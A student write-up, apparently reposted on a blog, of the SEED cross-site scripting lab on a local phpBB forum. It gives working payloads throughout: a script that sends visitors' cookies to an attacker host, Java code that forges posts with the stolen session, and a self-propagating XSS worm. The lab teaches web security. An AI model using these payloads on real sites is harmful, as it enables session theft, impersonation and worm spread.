目錄標題
- 1、概述
- 2、實驗室環境
- 3、實驗室的任務
- 3.1任務1:發布惡意訊息以顯示警報視窗
- 3.2任務2:發送惡意資訊顯示cookie
- 3.3任務3:從受害者的機器上偷取cookies
- 3.4任務4:用偷來的cookie冒充受害者
- 3.5任務5:撰寫跨站蠕蟲
- 3.6任務6:撰寫自傳播跨站蠕蟲
- 4、提交
1、概述
跨站腳本(XSS)是 web應用程式中常見的一種漏洞,該漏洞使得攻擊者有可能將惡意代碼(如 JavaScript程式)注入受害者的網路瀏覽器,使用這種惡意代碼,攻擊者可以竊取受害者的憑證,如 cookie,瀏覽器用來保護這些憑證的訪問控制策略(即同源策略)可以通過利用XSS漏洞來繞過,這種漏洞可能會導致大規模的攻擊
為了演示攻擊者利用XSS漏洞可以做些什么,我們使用phpBB建立了一個基于 web的留言板,我們對軟體進行了修改,在該留言板中引入了XSS 漏洞;這個漏洞允許用戶向公告板發布任何訊息,包括JavaScript程式,學生需要利用這一漏洞,在留言板上發布一些惡意資訊;看到這些惡意資訊的用戶將成為受害者,攻擊者的目標是為受害者發布偽造的資訊,
2、實驗室環境
在這個實驗中,我們需要三樣東西:(1)Firefox網路瀏覽器,(2)apache網路服務器,(3)phpBB留言板網路應用程式,對于瀏覽器,我們需要使用Firefox 的 LiveHTTPHeaders 擴展來檢查HTTP請求和回應,提供給您的預構建的Ubuntu虛擬機鏡像已經安裝了帶有所需擴展的Firefox瀏覽器,
啟動Apache服務器,apache web服務器也包含在預構建的Ubuntu鏡像中,但是,默認情況下web服務器是不啟動的,您必須首先使用以下兩個命令之一啟動web服務器:
% sudo apache2ctl start
or
% sudo service apache2 start
phpBB web應用程式,phpBB web應用程式已經在預構建的 Ubuntu虛擬機鏡像中設定好了,我們還在phpBB服務器上創建了幾個用戶帳戶,密碼資訊可以從首頁的帖子中獲取,你可以使用以下URL訪問phpBB服務器(首先需要啟動apache服務器):
http://www.xsslabphpbb.com
配置DNS,這個URL只能從虛擬機內部訪問,因為我們修改了/etc/hosts檔案,將域名(www.xsslabphpbb.com)映射到虛擬機的本地IP地址(127.0.0.1),您可以使用/etc/hosts將任何域名映射到特定的IP地址,例如,在/etc/hosts檔案中添加如下內容,將 http:/www.example.com 映射到本地IP地址,
127.0.0.1 www.example.com
因此,如果您的 web服務器和瀏覽器運行在兩臺不同的機器上,您需要相應地修改瀏覽器機器上的/etc/hosts檔案,將 www.xsslabphpbb.com映射到 web服務器的IP地址,
配置Apache 服務器,在預構建的VM映像中,我們使用Apache服務器托管實驗室中使用的所有網站,Apache 中基于名稱的虛擬主機特性可以用于在同一臺機器上托管多個網站(或url),在"/etc/apache2/sites-available"目錄下有一個名為default的組態檔,其中包含了必要的配置指令:
1.指令“NameVirualHost *”指示 web服務器使用機器中的所有IP地址(有些機器可能有多個IP地址),
2.每個網站都有一個VirtualHost塊,它指定網站的URL和包含網站源的檔案系統中的目錄,
例如,要配置一個URL為http://www.example1.com的網站,源檔案位于/var/www/Example_1/目錄下,以及要配置一個URL為 http://www.example2.com的網站,源檔案位于/var/www/Example_2/目錄下,我們使用以下代碼塊:
<VirtualHost *>
ServerName http://www.example1.com
DocumentRoot /var/www/Example_1/
</VirtualHost>
<VirtualHost *>
ServerName http://www.example2.com
DocumentRoot /var/www/Example_2/
</VirtualHost>
您可以通過訪問上述目錄中的源代碼來修改 web應用程式,例如,使用上面的配置,可以通過修改目錄/var/www/Example_l中的源來修改web應用程式 http://www.example1.com.
其他軟體,有些實驗任務需要對JavaScript有基本的了解,只要有必要,我們就提供一個JavaScript示例程式來幫助學生入門,為了完成任務3,學生可能需要一個實用程式來監視特定TCP埠上傳入的請求,我們提供了一個C程式,可以將其配置為偵聽特定埠并顯示傳入訊息,C語言程式可從本實驗室的網站下載,
注意對教師
本實驗室可在有監督的實驗室環境中進行,在這種情況下,教師可以在做實驗之前向學生提供以下背景資訊:
1.如何使用虛報機,Firefox web瀏覽器和 LiveHittpHeaders擴展,2…JavaScript和 XMLHttpRequest物件的基礎知識,
3.簡要概述任務,
4.如何使用監聽埠的C程式,
5.如何撰寫一個java程式發送一個HTTP訊息發布,
3、實驗室的任務
3.1任務1:發布惡意訊息以顯示警報視窗
此任務的目標是發布包含JavaScript 的惡意訊息,以顯示警報視窗,JavaScript應該與訊息中的用戶注釋一起提供,下面的JavaScript將顯示一個警告視窗:
<script>alert(’XSS’);</script>
如果您將此JavaScript和您的評論一起發布在留言板中,那么任何查看此評論的用戶都將看到警告視窗,
可以用JavaScript的alert陳述句彈出警告視窗,引數為視窗中的字串,如下圖所示
發布一個帖子:

當有用戶瀏覽該帖子的時候,則會彈出下面的視窗:

3.2任務2:發送惡意資訊顯示cookie
此任務的目標是在留言板上發布包含JlavaScript 代碼的惡意訊息,以便每當用戶查看此訊息時,都會列印出用戶的 cookie,例如,考慮以下包含JavaScript代碼的訊息:
<script>alert(document.cookie);</script>
Hello Everybody,
Welcome to this message board.
當用戶查看此訊息發布時,他她將看到一個彈出訊息框,其中顯示用戶的cookie,
為了顯示出cookie,只需要把cookie的值傳入alert中作為引數即可,如下圖所示:

此時用戶如果瀏覽這個帖子,則會彈出用戶的cookie

3.3任務3:從受害者的機器上偷取cookies
在之前的任務中,惡意JavaScript代碼可以列印出用戶的cookie;在這個任務中,攻擊者希望.JavaScript代碼將cookie發送給自己,為了實作這一點,惡意JavaScript代碼可以向攻擊者發送一個HTTP請求,并將cookie附加到請求中,我們可以通過讓惡意的JavaScript 插入一個標記,并將src設定為攻擊者目標的URL來實作這一點,當JavaScript插入img標記時,瀏覽器嘗試從提到的URL加載影像,并在這個程序中最終向攻擊者的網站發送一個HTTP GET請求,下面給出的JavaScript 將 cookie 發送到攻擊者機器上提到的埠5555,在特定的埠上,攻擊者有一個TCP服務器,它只是列印它接收到的請求,TCP服務器程式將提供給您(可在本實驗室的網站上獲得),
Hello Folks,
<script>document.write(’<img src=http://attacker_IP_address:5555?c=’
+ escape(document.cookie) + ’ >’); </script>
This script is to test XSS. Thanks.
為了把用戶的cookie送到遠程攻擊者的主機,需要如下構造攻擊腳本陳述句:
<script>document.write(“<img src = http://127.0.0.1:5555?c=”+escape(document.cookie)+”>”);</script>

為了和請求報頭格式一致,我們需要用escape函式對cookie中的特殊字符進行轉義,
這樣腳本執行結束后瀏覽去會向127.0.0.1的5555埠的地址請求一個名字為自己的cookie的圖片,當然這個圖片是不存在的,為了避免受到被攻擊者的懷疑,我們可以在帖子內容中寫上“picture has been deleted!”,此時瀏覽帖子的人看到的內容如下:

按照Makefile檔案中編譯:

在瀏覽者一無所知的情況下,他的cookie值就被發送到了攻擊者的電腦上,攻擊者遠程監聽的結果如下:

GET /?c=phpbb2mysql_t%3Da%253A2%253A%257Bi%253A6%253Bi%253A1629100308%253Bi%253A11%253Bi%253A1629099910%253B%257D%3B%20phpbb2mysql_data%3Da%253A2%253A%257Bs%253A11%253A%2522autologinid%2522%253Bs%253A0%253A%2522%2522%253Bs%253A6%253A%2522userid%2522%253Bs%253A2%253A%252212%2522%253B%257D%3B%20phpbb2mysql_sid%3Df7ce2779c4f882fdab383be05e4e354f HTTP/1.1
3.4任務4:用偷來的cookie冒充受害者
在竊取受害者的 cookie 后,攻擊者可以對 phpBB 網路服務器做受害者可以做的任何事情,包括以受害者的名字發布一條新訊息,洗掉受害者的帖子,等等,在這個任務中,我們將撰寫一個程式,代表受害者偽造訊息,
為了偽造訊息發布,我們首先應該分析 phpBB 在發布訊息方面是如何作業的,更具體地說,我們的目標是確定當用戶發布訊息時向服務器發送什么,Firefox的LiveHTTPHeaders 擴展可以幫助我們;它可以顯示從瀏覽器發送的任何HTTP請求訊息的內容,從內容中,我們可以識別訊息的所有引數,圖1給出了LiveHTTPHeaders的螢屏截圖,LiveHTTPHeaders擴展可以從http:Mlivehtpheaders.mozdev.org/下裁,它已經安裝在預構建的Ubuntu虛擬機鏡像中,
一旦我們理解了用于訊息發布的HTTP請求是什么樣子的,我們就可以撰寫一個 Java程式來發送相同的 HTTP請求,phpBB服務器無法區分請求是由用戶的瀏覽器發出的還是由攻擊者的Java程式發出的,只要我們正確地設定了所有引數,服務器就會接受并處理訊息發送HTTP 請求,為了簡化您的任務,我們提供了一個示例java程式,其功能如下:
1.打開到 web 服務器的連接,
2.設定必要的HTTP頭資訊,
3.發送請求到web 服務器,
4.從web服務器獲取回應,
如果您在理解上述程式時有困難,我們建議您閱讀以下內容
import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
public static void main(String[] args) throws IOException {
try {
int responseCode;
InputStream responseIn=null;
// URL to be forged.
URL url = new URL ("http://www.xsslabphpbb.com/profile.php");
// URLConnection instance is created to further parameterize a
// resource request past what the state members of URL instance
// can represent.
URLConnection urlConn = url.openConnection();
if (urlConn instanceof HttpURLConnection) {
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
}
// addRequestProperty method is used to add HTTP Header Information.
// Here we add User-Agent HTTP header to the forged HTTP packet.
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
//HTTP Post Data which includes the information to be sent to the server.
String data="username=admin&seed=admin%40seed.com";
// DoOutput flag of URL Connection should be set to true
// to send HTTP POST message.
urlConn.setDoOutput(true);
// OutputStreamWriter is used to write the HTTP POST data
// to the url connection.
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
// HttpURLConnection a subclass of URLConnection is returned by
// url.openConnection() since the url is an http request.
if (urlConn instanceof HttpURLConnection) {
HttpURLConnection httpConn = (HttpURLConnection) urlConn;
// Contacts the web server and gets the status code from
// HTTP Response message.
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);
// HTTP status code HTTP_OK means the response was
// received sucessfully.
if (responseCode == HttpURLConnection.HTTP_OK) {
// Get the input stream from url connection object.
responseIn = urlConn.getInputStream();
// Create an instance for BufferedReader
// to read the response line by line.
BufferedReader buf_inp = new BufferedReader(
new InputStreamReader(responseIn));
String inputLine;
while((inputLine = buf_inp.readLine())!=null) {
System.out.println(inputLine);
}
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
如果您在理解上述程式時有困難,我們建議您閱讀以下內容:
JDK 6檔案:http://java.sun.com/javase/6/docs/api/
Java 協議處理程式:http://java.sun.com/developer/onlineTraining/protocolhandlers/
限制:偽造的訊息應該來自同一臺虛擬機,即受害者(連接到web論壇的用戶)和攻擊者(生成偽造訊息的人)應該在間一臺機器上,因為 phpBB使用IP地址和cookie進行會話管理,如果攻擊者從另一臺機器生成偽造的訊息,偽造資料包的IP地址和受害者的IP地址將不同,因此偽造的訊息將被phpBB服務器拒絕,盡管偽造的訊息攜帶了正確的cookie資訊,
為了冒充被攻擊者發帖,首先向前面所述得到用戶的cookie,但是這個cookie是經過轉義過的,我們需要把其中的轉義字符修正回來,具體要在vim中進行如下操作:
把所有的“%3D”替換為“=”號,把所有的“%25”替換為“%”號,把所有的“%3B%20”替換為“; ”(;后面有個空格),
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=8d7d46f9af4ffa33a84494b859da0cd1; phpbb2mysql_t=a%3A2%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3B%7D
這樣我們就得到了用戶的原始cookie,然后用addRequestProperty函式設定連接的cookie屬性,這樣服務器就會把我們當作被攻擊者:

http://www.xsslabphpbb.com/posting.php
POST /posting.php HTTP/1.1
Host: www.xsslabphpbb.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1
Cookie: phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=8d7d46f9af4ffa33a84494b859da0cd1; phpbb2mysql_t=a%3A2%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3B%7D
Content-Type: application/x-www-form-urlencoded
Content-Length: 276
subject=bbbb&addbbcode18=%23444444&addbbcode20=0&helpbox=Font+color%3A+%5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D++Tip%3A+you+can+also+use+color%3D%23FF0000&message=bbbb&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=8d7d46f9af4ffa33a84494b859da0cd1&f=1&post=Submit
HTTP/1.1 200 OK
Date: Mon, 16 Aug 2021 11:50:11 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-3ubuntu4.1
Set-Cookie: phpbb2mysql_t=a%3A3%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3Bi%3A14%3Bi%3A1629114611%3B%7D; path=/
Cache-Control: private, pre-check=0, post-check=0, max-age=0
Expires: 0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3882
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
其中:
Cookie: phpbb2mysql_t=a%3A3%3A%7Bi%3A6%3Bi%3A1629100308%3Bi%3A11%3Bi%3A1629099910%3Bi%3A7%3Bi%3A1629100786%3B%7D; phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=f7ce2779c4f882fdab383be05e4e354f subject=bbbb&addbbcode18=%23444444&addbbcode20=0&helpbox=Quote+text%3A+%5Bquote%5Dtext%5B%2Fquote%5D++%28alt%2Bq%29&message=bbbb&poll_title=&add_poll_option_text=&poll_length=&mode=editpost&sid=f7ce2779c4f882fdab383be05e4e354f&p=7&post=Submit
這樣我們就得到了,發帖資料包的格式,通過修改其中的cookie欄位我們就可以偽裝成其他用戶,修改subject和message欄位,我們就可以修改任意帖子內容,綜上,我們需要將Java程式中的addRequestProperty和data修改為如下:

HTTPSimpleForge.Java源代碼:
import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
public static void main(String[] args) throws IOException {
try {
int responseCode;
InputStream responseIn=null;
// URL to be forged.
URL url = new URL ("http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");
// URLConnection instance is created to further parameterize a
// resource request past what the state members of URL instance
// can represent.
URLConnection urlConn = url.openConnection();
if (urlConn instanceof HttpURLConnection) {
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
}
// addRequestProperty method is used to add HTTP Header Information.
// Here we add User-Agent HTTP header to the forged HTTP packet.
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
urlConn.setRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
urlConn.setRequestProperty("Accept-Language","en-us,en;q=0.5");
urlConn.setRequestProperty("Accept-Encoding","gzip,deflate");
urlConn.setRequestProperty("Accept-Charset","ISO-8859-1,utf-8;q=0.7,*;q=0.7");
urlConn.setRequestProperty("Connection","keep-alive");
urlConn.setRequestProperty("Keep-Alive","115");
urlConn.setRequestProperty("Referer","http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");
urlConn.setRequestProperty("Cookie","Cookie: phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=8d7d46f9af4ffa33a84494b859da0cd1; phpbb2mysql_t=a%3A2%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3B%7D");
urlConn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
urlConn.setRequestProperty("Content-Length","245");
//HTTP Post Data which includes the information to be sent to the server.
//String data="username=admin&seed=admin@seed.com";
String data="subject=Iam not 123&addbbcode18=%23444444&addbbcode20=0&helpbox=Font+color%3A+%5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D++Tip%3A+you+can+also+use+color%3D%23FF0000&message=but I can post as 123&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=8d7d46f9af4ffa33a84494b859da0cd1&f=1&post=Submit";
// DoOutput flag of URL Connection should be set to true
// to send HTTP POST message.
urlConn.setDoOutput(true);
// OutputStreamWriter is used to write the HTTP POST data
// to the url connection.
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
// HttpURLConnection a subclass of URLConnection is returned by
// url.openConnection() since the url is an http request.
if (urlConn instanceof HttpURLConnection) {
HttpURLConnection httpConn = (HttpURLConnection) urlConn;
// Contacts the web server and gets the status code from
// HTTP Response message.
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);
// HTTP status code HTTP_OK means the response was
// received sucessfully.
if (responseCode == HttpURLConnection.HTTP_OK) {
// Get the input stream from url connection object.
responseIn = urlConn.getInputStream();
// Create an instance for BufferedReader
// to read the response line by line.
BufferedReader buf_inp = new BufferedReader(
new InputStreamReader(responseIn));
String inputLine;
while((inputLine = buf_inp.readLine())!=null) {
System.out.println(inputLine);
}
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
編譯運行:

再去看論壇文章串列,我們發現確實多了123發的一篇帖子:


3.5任務5:撰寫跨站蠕蟲
在前面的任務中,我們學習了如何從受害者那里竊取 cookie,然后使用竊取的 cookie偽造HTTP請求,在這個任務中,我們需要撰寫一個惡意JavaScript來直接從受害者的瀏覽器偽造一個 HTTP請求,這種攻擊不需要攻擊者的干預,能夠做到這一點的JavaScript被稱為跨站點腳本蠕蟲,對于這個web應用程式,蠕蟲程式應該做以下作業:
1.使用JavaScript檢索用戶的會話ID,
2.偽造HTTP發布請求,使用會話ID發布訊息,
HTTP請求有兩種常見型別,一種是HTTP GET請求,另一種是HTTP POST請求,這兩種HTTP請求的不同之處在于它們如何將請求的內容發送給服務器,在phpBB中,發送訊息的請求使用HTTP POST請求,我們可以使用XMLHttp Request物件為 web應用程式發送HTTP GET 和POST請求,XMLHttp Request只能將HTTP請求發送回服務器,而不是其他計算機,因為XMLHtpRequest強烈執行同源策略,這對我們來說不是問題,因為我們確實想使用XMLHttp Request向 phpBB服務器發送一個偽造的HTTP POST請求,要學習如何使用XMLHttp Request,可以學習這些參考的檔案[1,2],如果您不熟悉JavaScript編程,我們建議您閱讀[3],學習一些基本的JavaScript函致,你將不得不使用其中的一些函式:
您可能還需要除錯JavaScript代碼,Firebug是一個Firefox擴展,可以幫助您除錯JavaScript代碼,它可以指出包含錯誤的精確位置,FireBug可以從 https://addons.mozilla.org/en-US/firefox/addon/1843下載,它已經安裝在我們預構建的Ubuntu虛擬機鏡像中,
代碼框架,我們提供了您需要撰寫的JavaScript代碼的框架,你需要填寫所有必要的細節,在發布到phpBB留言板的訊息中包含最終的JavaScript代碼時,需要制除所有注釋、額外的空格和換行符,
<script>
var Ajax=null;
// Construct the header information for the Http request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
// Construct the content. The format of the content can be learned
// from LiveHttpHeader. All we need to fill is subject, message, and sid.
var content="subject=" + "XSSWorm" + ...; // You need to fill in the details.
// Send the HTTP POST request.
Ajax.send(content);
</script>
要使我們的蠕蟲作業,我們應該注意phpBB是如何使用會話id資訊的,從LiveHTTPHeaders 擴展的輸出中,我們可以注意到sid在訊息發布請求中出現了兩次,一個是在 cookie部分(稱為phpbb2mysql_sid),因此,XMLHttpRequest發出的HTTP POST請求也必須包含cookie,我們已經在上面的骨架代碼中為您做了,
如果我們仔細查看LiveHTTPHeaders的輸出,我們可以看到相同的 session id也出現在以“subject=”開頭的行中,phpBB服務器使用這里的會話id來防止另一種型別的攻擊(即跨站請求偽造攻擊),在偽造的訊息發布請求中,我們還需要添加這個會話id資訊;該會話id的值與phpbb2mysql_sid中的值完全相同,如果請求中沒有此會話id,則該請求將被服務器丟棄,
為了從cookie中檢索 sid資訊,您可能需要學習JavaScript中的一些字串操作,你應該學習這個參考的教程[4],
為了能夠讓這個蠕蟲可以以瀏覽者的身份發帖,我們首先要用JavaScript得到用戶的cookie,這個在前面已經做過了;然后我們需要從此cookie中提取出section ID,這個可以用JavaScript提供的一些字串操作函式來完成;最后要利用這個section ID構造一個發帖請求,發帖請求的格式可以通過LiveHTTPHeader來偵聽一個真正的發帖請求來得到,
攻擊代碼:
<script>
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var cookie=document.cookie;
var id=cookie.match(/phpbb2mysql_sid=(.*)/);
var content="subject=Task%205" + "&addbbcode18=%23444444&addbbcode20=0&helpbox=Font+color%3A+%5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D++Tip%3A+you+can+also+use+color%3D%23FF0000&" + "message=Task%205:" + "&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=" + RegExp.$1.slice(0,32) + "&f=1&post=Submit";
Ajax.send(content);
</script>
就在hyh瀏覽這個帖子的同時,我們的蠕蟲已經以hyh的身份發了帖子:

3.6任務6:撰寫自傳播跨站蠕蟲
在前一個任務中構建的蠕蟲只代表受害者偽造一條訊息;它不會自我傳播,因此,從技術上講,它不是蠕蟲,為了能夠自我傳播,偽造的訊息還應該包括一個蠕蟲病毒,所以每當有人點擊偽造的訊息,一個新的攜帶相同的蠕蟲病毒的偽造訊息將被創建,這樣,蠕蟲就可以傳播了,點擊偽造資訊的人越多,蠕蟲病毒傳播的速度就越快,
在此任務中,您需要展開在task 5中所做的作業,并將蠕蟲病毒的副本添加到偽造訊息的正文中,以下指導方針將幫助您完成這項任務:
1.發布偽造資訊的JavaScript 程式已經是網頁的一部分,因此,蠣蟲代碼可以使用DOM api從網頁中檢索自己的副本,下面給出一個使用DOM api的例子,這段代碼獲得了自己的副本,并將其顯示在警報視窗中:
<script id=worm>
var strCode = document.getElementById("worm");
alert(strCode.innerHTML);
</script>
2.URL編碼:1nternet上所有通過HTTP協議傳輸的訊息都使用URL編碼,即在URL編碼方案下,將所有非ascii字符(如空格)轉換為特殊代碼,在蠕蟲代碼中,在 phpBB論壇中發布的訊息應該使用URL編碼,escape函式可用于URL編碼字串,下面給出了一個使用encode函式的示例,
<script>
var strSample = "Hello World";
var urlEncSample = escape(strSample);
alert(urlEncSample);
</script>
3.在URL編碼方案下,“+”符號用于表示空格,在JavaScript程式中,“+”用于算術操作和字串連接操作,為了避免這種模棱兩可,
可以使用concat函式進行字串連接,避免使用加法,的蠕蟲在代碼練習中,你不需要使用加法,如果你確實需要加一個數字(如a+5),你可以可以使用減法(如a-(-5)),
攻擊代碼:
<script id=worm>var scriptValue = document.getElementById("worm");scriptValue = scriptValue.childNodes[0].nodeValue; scriptValue =escape(scriptValue); var Ajax = null; Ajax = new XMLHttpRequest(); Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true); Ajax.setRequestHeader("Host","www.xsslabphpbb.com"); Ajax.setRequestHeader("Keep-Alive","300");Ajax.setRequestHeader("Connection","keep-alive"); Ajax.setRequestHeader("Cookie",document.cookie); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); var cookie = document.cookie; var id = cookie.match(/phpbb2mysql_sid=(.*)/); var content = "subject=This is a self-popagation worm"; content = content.concat("&addbbcode18=%23444444&addbbcode20=0&helpbox=Font color%3A %5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D Tip%3A you can also use color%3D%23FF0000&message=%3Cscript id=worm>"); content = content.concat(scriptValue); content = content.concat("%3C/script>&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid="); content = content.concat(RegExp.$1.slice(0,32)); content = content.concat("&f=1&post=Submit"); Ajax.send(content); </script>
對于上面的代碼,需要注意以下幾點:
1.代碼中沒有回車換行,全部在一行里面,
2.要使用contact函式來代替+完成字串的拼接作業,
3.要用escape函式對特殊符號進行過濾,
4.Document.getElementByID(“worm”).childNodes[0].nodeValue所得到的就是id為worm的script中的所有內容,
123發布包含蠕蟲的帖子后,hyh瀏覽了123的帖子,abc瀏覽hyh的帖子,攻擊效果如下:

4、提交
你需要提交一份詳細的實驗報告,描述你做了什么,觀察到了什么,請使用LiveHTTPHeaders,Wireshark和/或截圖提供詳細資訊,您還需要對有趣或令人驚訝的觀察結果進行解釋,
參考文獻
[1]AJAX for n00bs,可于以下網址查閱:
http://www.hunlock.com/blogs/AJAX_for_n00bs,
[2] AJAX POST-It Notes,可于以下網址查閱:
http://www.hunlock.com/blogs/AJAX_POST-It_Notes.
[3]Essential Javascript – A Javascript Tutorial,可于以下網址查間:
http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial,
[4]The Complete Javascript Strings Reference,可于以下網址查閱:
http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/294488.html
標籤:其他
下一篇:jQuery常用的API 后續
